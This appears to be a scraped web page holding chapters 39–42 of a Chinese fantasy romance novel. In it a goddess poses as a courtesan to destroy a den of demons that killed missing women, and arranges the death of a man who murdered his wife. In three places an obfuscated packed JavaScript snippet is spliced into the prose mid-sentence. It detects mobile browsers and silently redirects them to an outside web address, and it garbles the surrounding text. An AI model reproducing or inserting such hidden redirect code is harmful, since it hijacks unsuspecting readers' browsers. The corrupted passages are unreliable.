也不知她信了几分。 反正洛念安是不敢待在这了，她站起身道：“那什么，我先进去了。你，你去那边坐着等吧。”说完也不等白黎回应，便飞速逃进了殿内。 39. 一贫如洗当作往昔 紫微大殿内吵得不可开交，主要围绕三点： 一，狐族大祭司之死。 二，为何白衡冒充白锦这么久而无人察觉。 三，为何自洛念安飞升后，上神接二连三出事。 不出意料，最后一条的讨论声远盖过前面两条。他们的意思洛念安都懂，无非就是“大凶之命”“不详之身”云云。她刚飞升，新官上任三把火，一连干掉三位上神，谁也不敢保证下一把不会烧了自己的龙王庙，只能提早把帽子先扣在她头上了。 “不做亏心事不怕鬼敲门，自己犯了错被罚干珈洛殿下何事？她冤枉了哪一位？说出来听听。” 洛念安本没想搭理那些莫须有的话，但赫连昭的声音却压过众人清清楚楚传入她的耳朵。她微微一怔，垂下眸，须臾，扬起唇角。 柳渊的声音紧接着传来：“我说诸位，现在该商讨的难道不应该是白锦仙君的事情吗？扯到珈洛殿下身上去，跑偏了吧？” 洛君逸坐于上位，支手扶额，似乎很是头疼。 锦和俯身在他耳边说了句什么，洛君逸又坐直身子，道：“别吵。” 大殿内四面八方瞬时噤声。 洛君逸站起身：“此事尚待商榷，九尾狐族白锦及其妹暂留神界，通缉八尾狐妖白衡，待将其带回神界再议。” 锦和拂尘搭于臂弯，端立在台上：“诸位武职上神，带回白衡者，寻真阁奖功德十万，另免三月月税。静候各位佳音。” “月税是何物？” 退出紫微大殿后，洛念安问向身旁的柳渊。 柳渊道：“每月上交的赋税啊，本月所得功德越多交的越多。” 洛念安不解：“为何我从未交过？” 柳渊看向她：“生辰莲灯不算在内，除此之外，你......还收了其他的功德？” 洛念安恍然大悟：“没有。”她笑了笑，“分文没有，也不用上交，挺好的。” 柳渊道：“月税只有本月所得功德超过两万才用上交，两万以下也不用交，不过寻常都会超过两万的。” “……”神界好像起风了，吹得她心里凉凉的。洛念安继续微笑：“好了，换个话题。” 柳渊终于忍不住笑出了声。 两人继续往前走着，柳渊道：“我真没想到啊，白衡竟然冒充白锦在神界待了这么久。诶你知道吗？每年的功绩排行榜上，他几乎稳占前三。” 冒充身份却又尽职尽责，还挺有意思。洛念安不知道说什么好，只能笑笑。她突然想起自己飞升后的第一件差事就是从他殿中让出来的，一时有些怅然。 仔细想来，那些她之前无法想明白之事，大抵都跟易桉有关。 他们一直跨出天门后，洛念安才停下，回首，看向从一开始就隔着一段距离默默跟在他们身后的赫连昭。 柳渊也停下，先是看了她一眼，又回头看向慢吞吞往这边走的赫连昭，忍不住道：“你能不能快点？乌龟爬得都比你快。” 赫连昭竟然破天荒地没跟他吵，只是瞪了他一眼，不过步子迈的确实快了许多。 待他走到柳渊身边，才停下，抬眼看向洛念安，移开，又挪到她身上，双唇一直有要张开的迹象，却不知因何故半天都没动静。 洛念安耐心等在原地，气氛似乎有些尴尬，她不知该如何化解，只能垂眸盯着自己脚边的空地发呆。 “啧嘶——”柳渊忍无可忍，朝着他胳膊给了他一下子：“说啊。” “......师父。” 洛念安猛地怔住。 “对不起！” 赫连昭对着她深深鞠了一躬，然后扭头就跑。 好半晌，洛念安才回神，望着他落荒而逃的背影疑惑道：“这是？” 柳渊摇着扇子，干笑两声：“孩子大了，脸皮薄了，有点害羞。” 他的话倒是把洛念安逗笑了，顿了顿，她道：“那就劳烦将军帮我带句话，就说，我收到了。” 神界现下可谓是人才紧缺，尤其是武职上神。被贬两位废了一位，故而他们殿中事宜暂由寻真阁统一安排。终于，洛念安在忙了许久但没捞到一份功德后，收到了寻真阁正经安排下来的任务。 洛念安喜滋滋地坐在院中摊开卷轴。叶蓉在一旁磕着买多了至今没磕完有些发潮的瓜子儿，见她心情甚好，好奇问道：“洛姐姐，怎么早上去了趟神界，回来这么高兴？” 洛念安侧目看向她，扬着笑：“一贫如洗的日子可能要一去不复返了！” “一贫如洗？”叶蓉愣了一下，看了一眼从灶台堆至门口的，方才阿离扛着两个大竹框送来的瓜果蔬菜，不解道：“哪里一贫如洗了？” 洛念安明白她的意思，道：“总不能一直指着小桉过日子不是？待我结了这个任务，拿到了功德，一定要回他些什么才好。” 叶蓉听后却是摇头：“我觉得最好不要，王肯定会不高兴。” 洛念安蹙眉：“为何？” 叶蓉叹了口气，仰在躺椅上，道：“罢了，说了你也不懂。” 洛念安真诚道：“你说了我才会懂呀。” 叶蓉看向她，觉得她说的有理，于是坐起身认真解释道：“你得接受他的好，让他觉得你需要他，他才高兴。你若是一直拒绝他，让他觉得自己一点都不被需要，不重要，他肯定不高兴啊。男人嘛，都这样。” 洛念安将这段话反复认真咀嚼，发现自己果然不懂，但又不好表现出来，于是只能点点头道：“我明白了。” 其实完全不明白。 叶蓉闻言，露出了个欣慰的笑容，继续躺了回去。 洛念安也不敢看她，心虚。便把注意力转移到自己手中的卷轴上。她越往下看，神情越发严肃，合上卷轴后，她问叶蓉：“小蓉，欲魔这类鬼物，你可曾听闻？” 叶蓉吐出瓜子皮，道：“没听说过。”她看过来，“怎么了？发生什么事了？” 在冯华郡内有一处烟花之地，名为“凤舞九天”，可谓远近闻名。里面出来的每一任花魁都有人豪掷千金只为博得美人一笑。然而自今年年初那位花魁无故失踪后，后面出来一位失踪一位，一开始并无人在意，直到后面才开始重视起这件事。渐渐的，也就不对外宣称新任花魁了。尽管如此，前段时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老板娘红唇勾起，眸光流转，细细望着她：“你会捉鬼？” 她的视线让洛念安不甚自在，闻言，无声点头。 老板娘笑意更深：“抓鬼，赚钱吗？看你穿得这样寒酸，想必挣不了几个钱吧？不如你跟着我干，以你的姿色，想必绝不止名动冯华，就是名动京城也是绰绰有余。我保证，到时候金山银山都是你的。” 洛念安：“……？” 叶蓉：“……？！！”她瞬间拍案而起，“说什么呢？你知道你面前的是谁吗？！她可是天……” 洛念安一把将她按回座位，淡定接道：“天门观的大弟子。”她看向老板娘，微笑道，“谢谢你的好意，但是抱歉，我得回去继承师父的衣钵。” 老板娘见墙角挖不成，面露遗憾，轻轻摇着手中的团扇，娇声道：“那若是你以后干不下去了，也可以来找我哦～” 洛念安不敢答应，她拉着叶蓉站起身道：“三日后见。我还有事，先行告辞。” 40. 扮花魁只身闯魔窟 “这些是从哪里来的？”洛念安看了一眼摆放在木桌上的胭脂水粉，又看向叶蓉，“还有铜镜？” 叶蓉邀功道：“我买的啊，你今日不是要演花魁嘛。” 洛念安抿唇，道：“还需要妆点吗？” “对啊，”叶蓉睁大眼将她上下看了看：“太素也不太像不是？哪个花魁不是浓妆艳抹的？我今早特地去买的呢。” 话说到这里，洛念安扫了一眼这段时日屋内叶蓉添置的瓶瓶罐罐锅碗瓢盆，甚至在她的神位两侧摆上了花瓶，里面还插着几朵花。 她终于问道：“我很好奇，就是，你的钱是哪里来的？” 叶蓉下意识看向别处，嘟囔道：“这是个秘密。” 洛念安眨了眨眼，委婉道：“应该是正道来的吧？” “当然啦。”这下叶蓉倒是理也直气也壮了。 洛念安放心点头，觉得自己多问也不好，便闭上嘴。 “好啦好啦，”叶蓉走上前来双手攀上她的肩膀将人按在椅子上：“时候也不早了，快点梳妆打扮吧。” “……”洛念安望着面前的瓶瓶罐罐，犯了难。 见她眉头越蹙越深，叶蓉问：“怎么了？” 洛念安对镜望她，诚实道：“其实我不太会。” 叶蓉愣了一下，随即笑道：“巧了嘛这不是，我会啊，我来。” 她在洛念安的脸上一阵捣鼓，收尾时胳膊一甩，扬声道：“好了出门右转下一位！” 易桉从门口跨了进来。 他：“？” 叶蓉：“……” 洛念安笑出了声，转而看向易桉：“小桉，你来啦。” 易桉望着她，似乎怔了怔，须臾，才问道：“姐姐这是？” 洛念安回：“我准备去当花魁。” 易桉笑容一僵：“花？魁？” 洛念安：“是啊。” 易桉不懂且拒绝：“不行。” 洛念安本想解释，望着他那难得严肃的模样，忽地起了逗弄的心思：“可是你不是说，我可以做任何我想做之事吗？” 易桉：“……？” 叶蓉在一旁急得跳脚，恨不得飞起来解释：“不是的，王，洛姐姐是有任务在身。” 洛念安笑了：“我开个玩笑。”见两人表情僵硬，又问道，“不好笑吗？” 易桉咬牙笑道：“好笑。” 这边叶蓉无奈扶额，道：“讲得很好，但是下次不要再讲了。” “好吧。”见他们的反应，洛念安反思了一下，下定决心要提高自己讲笑话的能力。 易桉在她旁边坐了下来，问道：“姐姐要出什么任务？” 洛念安边对镜梳着头发，边道：“冯华郡总有花魁失踪，神界查出许是欲魔作祟，具体还需我前去察看才知。”说着，她看向他，“你知道欲魔吗？” 易桉道：“近几年出来的鬼物，不是一只，而是一群。”说罢，他站起身，欲往出走，“姐姐不必劳累，我去端了它。” 洛念安伸手一把握住他的手腕：“等一下，这次任务的功德不是小数目，若是我不劳而获，会于心不安。” 易桉侧首，垂眸，视线落在那只手上，又移向洛念安。 她笑着：“我早已与人说好，不可食言，况且我还需去寻一寻那些失踪女子的下落。” 叶蓉在躺椅上坐下又站起，站起又坐下，频频扭头看向屋内灶台边易桉忙碌的身影，面上皱成一团，咬唇半天，终是道：“……洛姐姐，王在里面做饭，我在这里坐着不太合适吧？” 洛念安将瓜子皮放进盘子里，挑眉看她：“习惯就好，小桉做的饭很好吃的。” “那好吧，”叶蓉又坐了回去：“若是天塌下来，洛姐姐记得上去顶着哈。” 洛念安笑了笑，道：“对了，上次那位姑娘今早说了一些感谢的话，听她讲，她的丈夫已经不再动手打她了，似乎还有些怕她，说话客气了许多，甚至还主动帮忙做起家务。” “这就对了！”叶蓉还是忍不住抓了一把瓜子：“既然她已经这么说了，那我就不去看她了，我还寻思这两日去看看她境况如何呢。” 洛念安忽地敛了笑，神情严肃道：“不过，我听她提起了另一件事。” “什么？” “她说，在同村里，有一位女子，平日里贤惠又勤快，可是前段时间被她的丈夫打死了。那女子的爹娘只有这一个女儿，得知此事后报了官，却被告知是家事，不便管。故而，那男子没受半点牢狱之灾，照常生活，最近甚至找了媒婆，张罗着为他再说一门亲事。” 叶蓉瓜子都放下了，满眼震惊：“死得是他妻子就不叫杀人了？！” 洛念安道：“很可笑吧。” 叶蓉望着她：“洛姐姐应该不会无故与我说起这件事。” 洛念安笑了笑：“需劳烦你替我查查这件事。” 叶蓉道：“包在我身上。”顿了顿，她又问，“若是真的呢？” 洛念安端起瓷杯，垂眸喝了口茶，又放下，视线落在杯中漂浮的茶叶上，温声道：“杀人，偿命。”她将瓷杯放在桌上，“那女子就算没死，他有杀人之意，便不该活。何况她死了，若是他仍旧好好地活在这世上，便是世道不公了。” 叶蓉点头，又忽然顿住，问道：“若是有孩子该怎么办？孩子的母亲死了，若是父亲……” 洛念安望向她：“他杀妻之时，有想过孩子没了母亲会如何吗？而且，孩子跟在这样的父亲身边，能否安然长大尚且未知，成长为怎样的大人更是未知。” 闻言，叶蓉连连点头：“有理，有理，我先去察看一下具体情况。” 洛念安道：“先不急，吃过饭再去吧。” 叶蓉却已经站起了身，一副如释重负的样子：“不吃了不吃了，这件事情要紧，我这就出发。” 话音一落，她就一溜烟儿消失了。 洛念安闭上了还没来得及说话的嘴，左右看了看，决定进去帮忙。 …… “我出五百两！” “八百两！” “我出一千两！” “一千金。” 此话一出，喧闹的“凤舞九天”瞬间噤声。 洛念安立于楼上，视线顺着声音的方向落了过去，却见出声人位于包厢里，帘子遮住，只隐隐约约见到人形，却看不清人样。 “一万金。” 这次出声的人位于对面的包厢，厢门依旧被纱帘遮挡，视人不清。 但是，洛念安却听出了这道声音。 老板娘在她身边笑得花枝乱颤，仿佛金山就在眼前，她凑到洛念安耳边说：“我就说，你跟着我，金山银山轻而易举～” 包厢里的人挑起纱帘，透过缝隙对上洛念安的视线，扬唇一笑，正是易桉。 洛念安无声叹了口气，有些无奈。她就知道根本不是鬼城有急事。 他的价一出，久久没人跟，大家都忙着好奇是谁这般阔绰，当然，价钱抬到这里，也实在是不好跟。 老板娘喊出：“一万金一次！” “一万金两次！” 洛念安呼吸都轻了，视线落在出价“一千金”的包厢处。 “一万一百金。” 突然，又有人出声加价。 这声音却是出自第三人，那人立于大堂之中，洛念安一眼就望见了他，而他也正抬着头，笑眯眯地对她摆了摆手。 大堂内频频回头看他，议论纷纷。 易桉的视线落在他身上，片刻，又转向洛念安。视线交织，他轻轻点头。 洛念安对老板娘道：“定价。”言罢，最后看了易桉一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655679|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，转身回了房间。 房门开了又合，洛念安看见自己面前的茶壶升至半空，茶水落入茶杯，茶杯又被推至自己面前。 洛念安无奈笑笑，对着面前的虚无道：“鬼城的事情妥当了？鬼王大人？” “妥当了。”易桉随着他的声音现身。 洛念安挑眉，点点头，垂眸盯着桌上的茶杯：“方才……很轻车熟路嘛。” “怎会？”易桉支着下颚，眨眼望她，笑意吟吟的：“我第一次来这种地方。” 洛念安下意识反问：“当真？” 易桉的回答很快：“当真。” 待他答完，洛念安才反应过来自己似乎逾矩了。 说到底人家去了哪里又与她何干。 洛念安莫名心虚地看了他两眼，捧起茶杯，嘬了几口茶，道：“那人是不是快来了？” “姐姐放心，他不会发现我。” 紧接着，门被人推开。 洛念安怔了一下，扭头看去。 “小美人，在等哥哥吗？” 方才还不觉得，现在才发现这人面露猥琐。 洛念安下意识往对面看去，易桉所在那处早已空空如也。 “真美啊，你可比前面几个美多了！简直是天仙！别急，美人，哥哥来咯～～” “……” 不，简直是猥琐至极。 洛念安强压下心中的不适，望向他，问道：“前面几个？她们在哪？” 那人一边靠近一边道：“她们啊，在一个极乐之地。你想知道吗？哥哥带你去好不好？” 洛念安勉强笑了笑，道：“好啊。” 那人从袖中掏出了一个东西，往地上一砸，洛念安眼前瞬间一黑，她下意识闭眼，再睁开时，满目红帐。她所在之处，是一座……石床？！ 一座被红账围绕的石床。 这床上铺着柔软的红毯，她正坐于毯上。很快，便注意到床周围满了人，不是人，是鬼。也不止石床周围，这个山洞都挤满了鬼。 他们盯着她，就像一群饿狼盯着一只羔羊。 空气中弥漫着难言的气味，洛念安蹙眉，忍不住抬手捂鼻。 “兄弟们，这次可是花大价钱买来的，省着点玩，不要像前几次那样那么快就玩死了，这次一定要玩够本！” “可不是我们的锅，是那几个女人太不经玩了，玩玩就死了。” 洛念安闻言，一把掀开纱帘：“她们都死了？！” 有人道：“死在在爷们的身下，也算是死得其所不是？” 鬼群爆发出意味不明的笑声。 “美人儿，”那人站在床侧，“何必如此惊讶，你们不就是做这个的吗？” 他欲伸手摸上洛念安的面颊，却被她侧脸躲过。她的手摸上袖中的乾坤袋，侧目看向那人，微微一笑：“我可不是做这个的。” 她停顿下来，抬手一挥，血光从袖中飞出，缠上那人的脖颈狠狠勒紧。 “我的职责是杀了你们。” 龙吟声起。 一刻钟后，寻找那些落难女子尸首未果，洛念安踏出了山洞，重重吐出一口浊气。 天空渐渐下起小雨，淅淅沥沥。她取出乾坤袋内的油纸伞，撑开，举在头顶。周遭入眼尽是灰蒙，颜色全无。发黄的伞面，那朵醒目的红花正对着出现在不远处的易桉。 望见他，洛念安才觉眼中有了色彩。 她走上前去，举高雨伞，遮住他。 易桉接过伞，陪着她离开此处。 他们走在山间狭窄的小道上。空气很静，耳中有伞面上跳跃的雨声，还有，洛念安的轻叹声。 她道：“世间女子，似乎总是走在荒芜的窄路上，举步维艰。神说，众生平等。事实上，世道总是不公。我能做的也不过尔尔。我救不了她们。” 41. 秘密之地探寻秘密 神界派上仙下界镇压了欲魔窟里残余的怨灵，洛念安也顺利拿到了功德。 “这个给你。” “什么？这么沉。”叶蓉伸手接过，打开看了一眼，见到里面满满一袋的黄金，眼睛都快被闪瞎了，她看向洛念安，震惊道，“给我这个做什么？” 洛念安微笑道：“最近你辛苦了，我方才领了功德，这些是你应得的。跟着我，不会亏待你的。” “说这些不就生疏了。跟着你去要饭我都乐意。”叶蓉将荷包推向洛念安：“我也没做什么辛苦事，你能收留我我就很感激了，还收你的钱做什么。再说了，王上已经给过我了。”话一说完，她紧急闭上嘴巴。 洛念安挑眉看她：“小桉给你？” 叶蓉眼神飘忽，抿着唇，望着洛念安眨眨眼，点头：“嗯，你受伤那段时间，大概是因我照顾你吧。”说着她笑了笑，“说实话，王上出手就是大方哈。” 洛念安叹了口气，道：“欠他的真是越来越还不清了。” 叶蓉宽慰她：“我看啊，洛姐姐你也别想太多，还不清干脆就别还呗，反正王上肯定也不希望你和他算那么清楚的。” 洛念安抿唇不语，半晌，又将荷包推向叶蓉：“他给你是他的心意，这些是你近来替我出任务的报酬，收着吧。” 叶蓉再次推脱：“哎呀真的不要，反正我闲的没事干，乐意帮你的忙。” “那好吧。”洛念安也不劝了，“那我就将它放在供桌上，你需要时随时取。” 叶蓉也应了下来：“好。” 洛念安起身将荷包放在供桌上，又转回来立在灶台边准备午饭，问道：“上次之事如何了？” 叶蓉凑过来边帮忙洗菜边道：“我去打听过了，事实和那女子说的大差不差。他们之间也没留下孩子，我去时，有两位老人在那人家门口哭闹，估摸着是那可怜女子的爹娘。男的对他们很不耐烦，甚至要动手打人，被我暗中制止了。我见他们实在可怜，在他们回家的路上丢了点钱，他们捡到时挺高兴的。我还跟着那男的，发现他去赌坊，看样子应该是常客。” 洛念安整理灶台的手一顿：“杀妻确认是事实？” 叶蓉点头，将洗好的菜放在案板上：“村里都知道，那女子可怜，连白事都没办，被草草埋了。听说那男的找的媒婆给他介绍了个外村的，离得远，不知道这件事。” 见洛念安神情严肃，她又问道：“洛姐姐，怎么做？” 洛念安拿起菜刀，手起刀落，一颗白菜分成两截。她切菜的动作很快，边切边问道：“那男子的父母呢？” 叶蓉跑去烧柴：“和他住在一起。村里人都说那女子贤惠勤快，但她婆婆总是刁难她打骂她，可以说是个恶婆婆。” 洛念安停下动作，看着她：“无故刁难？” “听意思，应该是嫌弃她生不出孩子。” 洛念安继续切菜：“他们成亲多久了？” 叶蓉打听的非常详细，很快答道：“不到一年。” “……”洛念安沉默片刻，道：“她婆婆在急什么？” 叶蓉摊手：“谁知道呢，搞得好像她儿子马上要死了一样。” 洛念安：“此话倒是不假。” 叶蓉愣了一下，随即点头：“明白。” 洛念安看了她一眼，轻轻一笑，温声道：“不要让他死得悄无声息，辛苦你，先扮作他死去的妻子吓吓他，最好闹得村里人尽皆知，也震慑一下旁的人。” 闻言，叶蓉笑了：“这个我擅长，包君满意。” 吃完午饭，叶蓉就去上工了，时间虽早，但她说要去布置现场。 她走后，洛念安在院中晒了会儿太阳，人间已入冬，阳光一日不如一日。她百无聊赖地躺了一会儿，闭上眼，启用读神术：“柳将军，今日可忙？” 柳渊回的很快：“下午出个任务，大概两个时辰后回，怎么？约麻将吗？” “是啊，”洛念安回：“我今日无事可做。” “好，知道了，我尽快结束。” 洛念安又问：“那个，赫连将军呢？” 柳渊道：“他啊，我待会问问，放心，到时候一定拉着他去找你。” 愉快地退出读神阵，洛念安站起身，决定去鬼城找易桉，看看他今日有没有时间打麻将。 “殿下请随我来。”她跨入安乐殿时，孔玉就迎了出来，带着她去找易桉。 他带着洛念安来到一座她从未踏入过的殿宇，孔玉停在殿门前，恭敬道：“殿下，王上在里面。” 洛念安道：“多谢。”便抬手敲了敲门，随即轻轻推开殿门，走了进去。 易桉正坐在书案前，低头看着什么东西。 洛念安反手关上殿门，轻声唤道：“小桉。” 易桉闻声抬眸，望见她时扬起笑容，起身迎过来：“姐姐今日不忙？” 洛念安笑了笑：“闲人一个，没有打扰到你吧？” “自然没有，你来我很高兴。”说话间，易桉已经走到了她面前。 这里洛念安从未来过，好奇左右看了看，又看向易桉：“这里是你办公的地方吗？” “不算是，堆放些杂物罢了。姐姐要看看吗？” 洛念安再次左右看了看，客气道：“方便吗？” 易桉笑着道：“当然方便。” 他带着洛念安从左边转起，这座殿二面都是木架，很高，很长。 洛念安一格一格看去，听见易桉道：“这些都是我以前四处走走时带回来的。” 每个格子里都摆放着各种各样的东西。有书，有笔，有精致的首饰，还有有小巧的武器。琳琅满目，种类繁多。洛念安一时也搞不清楚易桉到底喜欢收藏什么了，有的看起来价值不菲，而有的却是普普通通。 洛念安的视线落在一本有些卷边的书上，问道：“我可以看看吗？” 易桉道：“当然，姐姐随意就好。” 得到允许，洛念安伸手拿起了那本书，翻看看了看。易桉在一旁道：“这是一本地方志怪录，大抵是当年觉得有趣，就带回来了。” 洛念安看了几眼，竟觉得内容熟悉，她渐渐皱起眉，将书翻至开头，看了一眼上面的地名：“洛至县？”她惊讶地看向易桉，“我去过这个地方。” 易桉扬唇，道：“是吗？” 洛念安点头，记忆的匣子被打开后，涌上来的往事越来越多。她肯定道：“真的，我在这里生活过一段时间，还看过这本书。若是我没有记错，那本书的倒数第二页有一道墨痕，遮住了许多字。”她说着，将手上的书册翻至倒数第二页，然后愣住了。 这本地方志怪录的倒数第二页，正有一道墨痕，遮住了许多文字。 好半晌，洛念安才回神，望向易桉，觉得有些不可置信，她道：“这样巧？” 易桉也望着她，眸光深深，片刻，他轻笑出声，道：“是啊，真巧。” 洛念安继续翻着，果然，找到了夹在这本书中间的字条，那是她读完后有感而发写下来的，顺手就夹进书里，去书店还书时忘记拿下来了。 竟然还在。 那张字条上的最后一行写着：“锦元三十五年洛念安留。” 锦元三十五年至今已经两百年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667072|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 回忆的浪潮不断冲刷着她。洛念安盯着手中的字条，愣神许久，才抬眸望向易桉，问道：“小桉，那时，你认识我吗？” 易桉依旧笑着，道：“当然。” 洛念安心下一颤。 他继续道：“我看过这本书，自然也就知道了姐姐的名字，不知，这算不算认识？” 洛念安垂下眸，她似乎并不想要这个答案，但又不知她想要的答案究竟是什么。她将手上的书合上放回原处，继续沿着木架往前走去。 她的视线落在了摆满首饰的格子中，她随手拾起其中一只银簪，这簪子镶嵌着一颗硕大的粉宝石。 “姐姐喜欢吗？” 洛念安不敢回答，她知道若是自己回“喜欢”，下一瞬这只簪子就会出现在她的发间。于是含糊道：“很好看，这样的宝石不多见。” 易桉立在她身侧，闻言笑道：“好看就是喜欢咯。” “……”洛念安有一种不太好的预感。 片刻后，易桉又道：“我也觉得你会喜欢。” 果然，手中的发簪被一只白皙修长的手抽走，紧接着，发间传来轻微触感。洛念安愣了愣，欲抬手拔掉：“不行不行，这太贵重了。” 易桉轻轻握住她的手腕制止了她的动作，边满意欣赏边道：“确实花了些钱，不过它留在我这处也无甚用处，只有我能看到。所以只能劳烦姐姐替我展现一下它的价值了。”他依旧握着洛念安的手腕，俯身凑了过来，在她耳边道，“若是有人问起，姐姐记得告诉那人是我送的。” 洛念安身子僵直，微凉的气息让她几乎不能思考，她下意识反问道：“为何？” 易桉已经退了回去，半开玩笑半认真道：“显得我有钱。” “……”洛念安愣了一会儿，忍不住轻笑出声。笑了一会儿，她提醒道：“财不外露哦。” 易桉道：“怕什么，谁觊觎尽管来抢好了。” 谈笑间，他们已经走到了另一处木架旁。洛念安一眼就看见了一处木格内摆放着的一卷卷轴，孤零零地躺在那里。 她好奇问道：“这是什么？” 易桉已经将其拿起，递到洛念安手上：“姐姐看看就知道了。” 洛念安将其展开，垂眸看了起来，看了一会儿，她抬头看向易桉道：“虚空之境？那道裂缝？竟是你所造之术吗？” 易桉挑眉：“姐姐见过旁人使用此术吗？” 洛念安诚实摇头：“没有。”又感慨道，“太厉害了吧。”然后她又将卷轴上记载的内容仔仔细细看了一遍，想要偷偷学习一下。 易桉见她看的认真，轻声笑了笑，道：“姐姐，此术并非秘密之术。神界早已写了上中下卷来效仿破解此术，我看过，还算有模有样。” 洛念安抬头：“可是我并没有见其他人用过此术。” 易桉扬唇：“能力不行。” 洛念安点点头，继续往后看去，却见继虚空之境的术法后，只有三个字：“祭魂术？这也是你独创的术法吗？” 易桉道：“嗯。” 洛念安疑惑：“为何没有详解？” 易桉笑了笑：“其实我也没用过。” 洛念安愣了愣，自顾自理解为此术尚未完全成形，便也不再多问。她将卷轴放回原处，说出了此行的目的：“你今日有空吗？要不要去我那出打麻将？” 易桉不假思索：“可以啊，有空。” 洛念安眨了眨眼：“可是我刚才看你好像在忙，其实也不着急，不如先等你忙完？” 易桉笑着：“不忙，你来寻我，我随时有空。” 42. 做人难做神明也难 “念将军！哟，鬼王阁下扫院子呢？” 柳渊他们到时，勤快的易桉已经将院子里的落花落叶扫到了一处。 洛念安微笑道：“是啊，小桉他一向眼里有活。” 柳渊的视线落在她的头顶，调笑道：“念将军几日不见到哪发财去了？那发簪可不便宜啊。” 还真有人问。 洛念安下意识抬手抚了抚那支簪子上的粉宝石，微笑道：“这个是小桉送的。” 柳渊脚步一顿，又如常继续往前走着，看向支着扫帚翘起嘴角立在树下的易桉，竖起大拇指道：“鬼王阁下就是豪气。” 易桉摆摆手，假客气道：“一般一般。” 赫连昭跟在柳渊后面，对上洛念安的视线，下意识移开，抬手抓了抓头发，头顶的黄毛抓得略显凌乱。他又鼓起勇气看向她，声如蚊蝇：“师父。” 他态度这样转变，倒是弄得洛念安有些尴尬。她抬手搔了搔面颊，莫名看了易桉一眼，又看向赫连昭，忽觉应也不是不应也不是，只能笑笑。顿了顿，她道：“其实，如今我也教不了你什么，故而你不必再唤我师父。” 赫连昭却道：“一日为师，终身为父......为母？” “......” “......” 洛念安无奈看他，道：“罢了，随你高兴就好。”说罢，她转身引着众人进屋，“走吧，麻将已经摆好了。” 打麻将期间柳渊一直在吐槽寻真阁给他派了一大堆活：“自己殿中事务都忙不完，天天给我派活，忙得脚不沾地。我最近都瘦了。” 赫连昭斜眼瞥了他一眼，道：“你胖瘦不分？” 洛念安忙接道：“派给我啊，我不忙，我就愿意多干些活。”言罢她疑惑看向易桉，因为这人听她说话听笑了。 “行，”柳渊道：“下次他再找我我跟他说说。” 洛念安叹道：“真是旱的旱死，涝的涝死。” 赫连昭看向她：“你不是前两日才完了个任务。” 洛念安道：“是啊，不过等了几百年就接了那一个，这不是闲得找你们打麻将嘛。” 柳渊突然将话头转向易桉，道：“鬼王阁下，或许你知道白衡的下落吗？” 易桉抬眸瞥了他一眼：“你还是不忙。” 柳渊道：“也不是，主要我算了一下，以我这个月的任务量来看，我得交不少月税。” 赫连昭白他：“就你聪明，他知道不告诉我师父告诉你？” “你师父？”柳渊反应了一下，看向洛念安。 注意到落在自己身上的三道视线，洛念安干笑两声，道：“这件事情我不感兴趣哈。话说，白锦和白黎如何了？” 柳渊道：“还在神界住着呢，白锦还在养伤，不过听说他是天生体弱，只能靠仙药吊着了。” 闻言，洛念安轻轻蹙眉，看向易桉，问道：“他不是和白衡换了命吗？还历经了两道雷劫，怎地如今又是这般了？” 易桉打出一张六筒，看向她道：“换回来了。” 洛念安碰了那张六筒，点头不语。 柳渊又道：“又换回来了？那他为何不飞升？” 易桉垂眸不答。 洛念安道：“应该是误了时机，飞升需要天时地利人和，时机不对，故而他现已无法飞升。” 柳渊叹道：“可惜了。” 易桉却忽然出声道：“有甚可惜？飞升如何不飞升又如何？那神界又不是人人都想去。” 这番话把柳渊问懵了，他无措地看向洛念安。 洛念安也是一愣，随即笑着道：“也对也对，各人有各人的活法，觉得做什么舒服就做什么好了，做人做鬼还是做神都大差不差。” “就是就是。”柳渊岔开话题问道：“那位美女鬼呢？” 洛念安答道：“小蓉有要事在身，出去了。” 柳渊嘀咕：“她能有什么要事？” 洛念安微笑道：“秘密。” 是秘密，但随着叶蓉越来越忙碌，这件事情很快就不是秘密了。 收到柳渊的消息时，洛念安正蹲在河边洗衣服。冬日的河水冰冷刺骨，而她早已习惯了这样的寒冷。 “念将军，叶蓉是不是又滥杀凡人了？小道消息，这件事情寻真阁已经查到了，甚至查到了她与你有关系，听说待会要召开殿议，估计马上锦和就要来找你了。” 得知此事，洛念安将洗了一半的衣服丢进盆里，连盆都顾不上端，起身就往玉兰观奔去，半路上果然收到了锦和的消息。回到玉兰观时，叶蓉正在做饭，洛念安立在院中，望着她忙碌的身影，抿紧红唇。最终，她吹响了一直挂在颈间的玉骨哨。 叶蓉被哨声吓了一跳，忙盖上锅盖奔出房门，着急来到洛念安身边，将她上上下下仔细看了一遍，问道：“洛姐姐，你没事吧？刚刚是什么声音？” 她话音刚落，身旁的空气瞬间撕开一道裂缝，易桉和阿离一齐从虚空之境内踏出。 他来的速度让洛念安愣了一下。 